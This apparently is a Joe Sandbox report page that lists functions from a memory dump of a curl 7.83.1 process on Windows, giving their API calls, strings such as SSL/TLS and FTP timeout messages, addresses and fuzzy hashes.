Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: freemalloc
String ID: -----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----
API String ID: 3061335427-1157147699
Opcode ID: a3bd4c5e926383adbc89605f71d54672c64bda03ae85339de2886c0687a3c817
Instruction ID: 6ea953aa3b7f030b1fd4f5015fd4e2f6c4a0179392f149fa869f4cc6ab62f634
Opcode Fuzzy Hash: a3bd4c5e926383adbc89605f71d54672c64bda03ae85339de2886c0687a3c817
Instruction Fuzzy Hash: F7212832B08609ABEB25ABAC985CB6D7BF5FB45360F34403AD441D7380DA70DD40C7A4

Function 0086D323 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000100), ref: 0086D370
___from_strstr_to_strchr.LIBCMT ref: 0086D386
___from_strstr_to_strchr.LIBCMT ref: 0086D39C
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000100), ref: 0086D3DF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrfgets
String ID:
API String ID: 4248516992-0
Opcode ID: b33b51bff5ec09ae93258a9f02510c6bc784634d474c9082e5f43ca223ddc8f5
Instruction ID: e8daa623428d16dc954f93819f4fee40618e1289cf8ee65fb38cdc2c3e424db0
Opcode Fuzzy Hash: b33b51bff5ec09ae93258a9f02510c6bc784634d474c9082e5f43ca223ddc8f5
Instruction Fuzzy Hash: 10210075E0431D9ADB24CF28DD41BDAB3A8FF15340F0000A9E585EB381EAB09EC48BA1

Function 008665D4 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086661C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00866636
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00866651
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086666B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID:
API String ID: 1865132094-0
Opcode ID: 403f6242b9a5e7b06645d7de02d7dcd80d13ccb5da3b50490b90e79ba4a88aba
Instruction ID: 95f0ac2cdca51e616fd938be12a49867141ba7b1725d37bebfd4d248c0b7fd36
Opcode Fuzzy Hash: 403f6242b9a5e7b06645d7de02d7dcd80d13ccb5da3b50490b90e79ba4a88aba
Instruction Fuzzy Hash: E22162B45087C2DEC7218F3994897A6BBE4FB56318F1A4F0EE49ADB240DB31D902CB41

Function 00870EDA Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,I32,00000003,?,00870FFB,?,00000000,754B43D0,?,00871589,?,?,?,?,00000000), ref: 00870EE5
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,I64,00000003,?,?,?,?,?,?,?,?,?,00000000), ref: 00870EFA

Strings

I32, xrefs: 00870EDF
I64, xrefs: 00870EF4

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: c873f61adbde51e63062e0d956f81f6d19e7357f72e5b9183edde7d79ccf9663
Instruction ID: fe823300cda5ace7c1e45ed6990916abeee0a99a8ce78de1ff8cc05d6812e461
Opcode Fuzzy Hash: c873f61adbde51e63062e0d956f81f6d19e7357f72e5b9183edde7d79ccf9663
Instruction Fuzzy Hash: 2B11F0BA840543C09A39493C6AED6AB1A46F707360B188682FC0CECAEDCC41CE858C43

Function 0089480B Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,008724A8), ref: 00894820
__alldvrm.LIBCMT ref: 00894839
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00894863
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,008724A8,00000000), ref: 00894873

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: 95285e4e8bfc1a6c872d59c6886a1e0469ea0979cba3a755b1a5d22864d65eab
Instruction ID: d527ea5fc59b87288c6672e7af83b271988c72955186885c36d9f29d4c5994e3
Opcode Fuzzy Hash: 95285e4e8bfc1a6c872d59c6886a1e0469ea0979cba3a755b1a5d22864d65eab
Instruction Fuzzy Hash: 42018471A04204BFEB059FA8DC81F9EBBBEFB48308F108179B609D6261D7329A51CB40

Function 0087027A Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?,?,?,?,?,?,008610B6), ref: 0087028E
__alldvrm.LIBCMT ref: 008702A7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008702D1
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,008610B6), ref: 008702DA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: 3ec9b75da4440ec8c794cfda3ad246696209088223adf5610cbdc29f9d61a809
Instruction ID: d2ce2b8b9ef533969a177491cb5cc9bf0ec5652328ee1d6a2cbb97458bf24930
Opcode Fuzzy Hash: 3ec9b75da4440ec8c794cfda3ad246696209088223adf5610cbdc29f9d61a809
Instruction Fuzzy Hash: 7CF0A472A05118BFE70557A8EC45F9ABBBFFB4C344F108135B208E6262D6B15E405750

Function 0088887E Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00868BF9,00888B58,?,00881E86,?,?,00000000), ref: 00888889
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00881E86,?,?,00000000), ref: 0088889F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00881E86,?,?,00000000), ref: 008888B3
closesocket.WS2_32(000000FF), ref: 008888CB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$CriticalDeleteSectionclosesocket
String ID:
API String ID: 3086658127-0
Opcode ID: 75fd441cf2e4c92f595c9be5fc37c6bbbf1e3fd09a663b24df4af0f5c2e1db76
Instruction ID: 37be2e52e8978302a204483065d2d27c075ab72dca3436f706bedc6b909b5ad2
Opcode Fuzzy Hash: 75fd441cf2e4c92f595c9be5fc37c6bbbf1e3fd09a663b24df4af0f5c2e1db76
Instruction Fuzzy Hash: 61F06D36200912EBDB193B14EC08B1CBB72FF48721F58823AE601D26F1DF711862CB91

Function 0088603F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 00886067

Part of subcall function 0088E9BE: inet_pton.WS2_32(00000002,?,?), ref: 0088E9D8
Part of subcall function 0088E9BE: inet_pton.WS2_32(00000017,?,?), ref: 0088E9E9

Strings

includesubdomains, xrefs: 00886123
max-age=, xrefs: 0088609F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: inet_pton$_time64
String ID: includesubdomains$max-age=
API String ID: 868955570-1235841791
Opcode ID: 72550818301e6ac1f937ca874d4f1bb208e3303aa58af5caf07b566886f8b7db
Instruction ID: c4fc0973d71ad5f616953deb415ec9fea41f1d274021930d42fa97f5bc0cce06
Opcode Fuzzy Hash: 72550818301e6ac1f937ca874d4f1bb208e3303aa58af5caf07b566886f8b7db
Instruction Fuzzy Hash: AD512A35F402658BDB24BA7888253FEB7E6FF66350F285119D8D1EB383FA609C148791

Function 00889A62 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,00000000,00000005), ref: 00889B94

Strings

%lx, xrefs: 00889B61
0Lu@Ru@/Mu, xrefs: 00889B94

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno
String ID: %lx$0Lu@Ru@/Mu
API String ID: 2918714741-898363541
Opcode ID: 81dc1da413aa858e24fef3cf2b29a765cf63b3e6611e3e178be18fb4329739d8
Instruction ID: 87d3ac630a0ebe48fc3cf40853e93a9e26b3916d7d90e1ea651c3d99aacda653
Opcode Fuzzy Hash: 81dc1da413aa858e24fef3cf2b29a765cf63b3e6611e3e178be18fb4329739d8
Instruction Fuzzy Hash: CD51D732A006A98BCF28AEBC98C01BD77E5FF85334F294639D4E6D7681E6719C46C741

Function 008A55C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

SSL/TLS connection timeout, xrefs: 008A57CB
select/poll on SSL/TLS socket, errno: %d, xrefs: 008A57B9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: 7051c32b9693b4db2bc82dfb8bea39e5690619948c2bd24ff5cbc918a4cda9a4
Instruction ID: 686f85a036346dd67c6347f105eff4491a12ec531d1e3d2ca770086eedd620be
Opcode Fuzzy Hash: 7051c32b9693b4db2bc82dfb8bea39e5690619948c2bd24ff5cbc918a4cda9a4
Instruction Fuzzy Hash: 64512635200B06DBFB25DE288891A7B77E1FF97324F60491DF98AC2A95DB30D8C48B41

Function 0086FF30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 008700A4

Part of subcall function 008720F5: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?,?,00868A7A,curl 7.83.1 (Windows) %s,00000000), ref: 00872101

Strings

internal error: invalid pattern type (%d), xrefs: 00870034
%0*lu, xrefs: 00870014

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func_strdup
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 2404189530-449433499
Opcode ID: ec0293965d27c3639b1ebd21cbb1db6692e160674a95be702a9cfdd39dc4f40a
Instruction ID: e40a5b9793a27cb2582ff1a855a9ac95670804360a2fcc837118d73377850156
Opcode Fuzzy Hash: ec0293965d27c3639b1ebd21cbb1db6692e160674a95be702a9cfdd39dc4f40a
Instruction Fuzzy Hash: 1C51BE30604606DFCB19CF6CD454BA9BBA1FF46318F28C0A9D59ACA247DA72D942DF21

Function 0089C30D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0089C351

Strings

The file does not exist, xrefs: 0089C403
Content-Length: %I64d, xrefs: 0089C3AC

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: Content-Length: %I64d$The file does not exist
API String ID: 601868998-3816122970
Opcode ID: 17aeb6ea418f1d3034f8e6f7cacd2e99e18f84ab3ed657019305d8792357a8ad
Instruction ID: c6775572945a5160df2d0a909373e2d98a5308f58a14664165cbc1b992aa84b9
Opcode Fuzzy Hash: 17aeb6ea418f1d3034f8e6f7cacd2e99e18f84ab3ed657019305d8792357a8ad
Instruction Fuzzy Hash: F33129617047009AFA24BA2D9C91A3FB3D9FFD1724F28851BF459C62C2EA72DC0056A7

Function 0089A5F9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,0089A3DE,?), ref: 0089A6FF

Strings

FTP response aborted due to select/poll error: %d, xrefs: 0089A706
FTP response timeout, xrefs: 0089A720

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout
API String ID: 1452528299-4057338436
Opcode ID: 45a791f8dcfceb8c03ad72a01c68ef4c80f892582a1b8182dc7e2e535c226c2d
Instruction ID: 81fab24df3e8266c5a8c41f03496dae3d3d10b4a5f5d1af09519b04cbf0e5a0e
Opcode Fuzzy Hash: 45a791f8dcfceb8c03ad72a01c68ef4c80f892582a1b8182dc7e2e535c226c2d
Instruction Fuzzy Hash: D7418675A0060A9FDF0DAB99C8516AE77B5FFE5314F2C8169D815E7280E7308E028BD2

Function 008703E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 008704E3

Strings

"%s":, xrefs: 008704BE
"%s":null, xrefs: 0087043E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs
String ID: "%s":$"%s":null
API String ID: 1795875747-2759546026
Opcode ID: 1feeeb94e30ae13806192d1fbacd494673b6227c62abffa8e7394824ebe57427
Instruction ID: 066817b6bb52a35b74421043b9ac139601a4e3621c636c5f1fc26000395a69bc
Opcode Fuzzy Hash: 1feeeb94e30ae13806192d1fbacd494673b6227c62abffa8e7394824ebe57427
Instruction Fuzzy Hash: FF3197B0A00209EFDF20CF54C945A6AB7A5FF41308F14C019EA0DD7619E234EE80DF9A

Function 0087095C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008B6C88,00000000,00000000,?,?,00000000,?,008707A5,?,?), ref: 0087096B
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008C07BC,00000000), ref: 008709AF

Strings

"curl_version":, xrefs: 008709C8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs
String ID: "curl_version":
API String ID: 1795875747-1127485152
Opcode ID: 963026bd82266cc270a38386e4ca905244e32ff669cc52c2c4a133b2a4770a70
Instruction ID: c72cf27c9848d729103529003361d5a44f92ff9ccd23830c732d67b1ac2d6579
Opcode Fuzzy Hash: 963026bd82266cc270a38386e4ca905244e32ff669cc52c2c4a133b2a4770a70
Instruction Fuzzy Hash: FA010832304310AEF6085755AC46BBA7BD8FF85764F50412DF609C52D2EEFAE8108A65

Function 0087E407 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0087E43C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,0087EED8,?,?,?), ref: 0087E45F

Strings

0Lu@Ru@/Mu, xrefs: 0087E45F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errnohtons
String ID: 0Lu@Ru@/Mu
API String ID: 2581741894-1923536700
Opcode ID: 665b150ecad8fb51f220e3709b7c554ffa0dc983044ad95e177ae730e765cba3
Instruction ID: cf84de7823db8a25ac4e543d47e5f3d7fb0bae3d1b0122198059db87c8ef955e
Opcode Fuzzy Hash: 665b150ecad8fb51f220e3709b7c554ffa0dc983044ad95e177ae730e765cba3
Instruction Fuzzy Hash: 1A11C13A140B08AFE7209F18D805B6637E4FB0A711F00C085F98DDF299D6B4E8409765

Function 00867E07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867E0E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00867E20

Strings

-v, --verbose overrides an earlier trace/verbose option, xrefs: 00867E3D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: -v, --verbose overrides an earlier trace/verbose option
API String ID: 1865132094-440421925
Opcode ID: 3d206728407ea816e243834eeed3cda934b3bd8355c88bc0a77d4854dacc0abc
Instruction ID: 6c8d8756c83b5e294c360d47365450bb251a3f860abc2da52d63e82db2ea6dea
Opcode Fuzzy Hash: 3d206728407ea816e243834eeed3cda934b3bd8355c88bc0a77d4854dacc0abc
Instruction Fuzzy Hash: 9E11E37020C782DFC711CF348855666BBE0FB46718F190F5AE099C7280DB359885CBC2

Function 008899DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00000000,?), ref: 00889A46

Strings

%d.%d.%d.%d, xrefs: 00889A02
0Lu@Ru@/Mu, xrefs: 00889A46

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno
String ID: %d.%d.%d.%d$0Lu@Ru@/Mu
API String ID: 2918714741-594881072
Opcode ID: 54d4a5e4be74ea23d97ade3f0c2c25c1610bfe6698ac0c4b39c946f42ca7eb91
Instruction ID: 9e7616090727d569ca3a94a1f6c1e9a65dd102663dce914ea0d1dfe1eaf70338
Opcode Fuzzy Hash: 54d4a5e4be74ea23d97ade3f0c2c25c1610bfe6698ac0c4b39c946f42ca7eb91
Instruction Fuzzy Hash: 401144305002999ECB19EF7C8811AFABFF9FF4A304F5C4198E4C5D7242D2369906CBA0

Function 0087EDC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004), ref: 0087EE2C
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 0087EE4B

Part of subcall function 00870B38: GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,RtlVerifyVersionInfo), ref: 00870B6D
Part of subcall function 00870B38: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00870B74

Strings

@, xrefs: 0087EDD4

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: AddressHandleModuleProcgetsockoptsetsockopt
String ID: @
API String ID: 1224256098-2726393805
Opcode ID: c6c2555d6a16be95092e7f0fa775ed2451055ad3120bfda8b05813e25b939498
Instruction ID: 839e11c541116d598af2b79aaecafca0d8e1c7f626a63bb93c0f4a428c89c0b6
Opcode Fuzzy Hash: c6c2555d6a16be95092e7f0fa775ed2451055ad3120bfda8b05813e25b939498
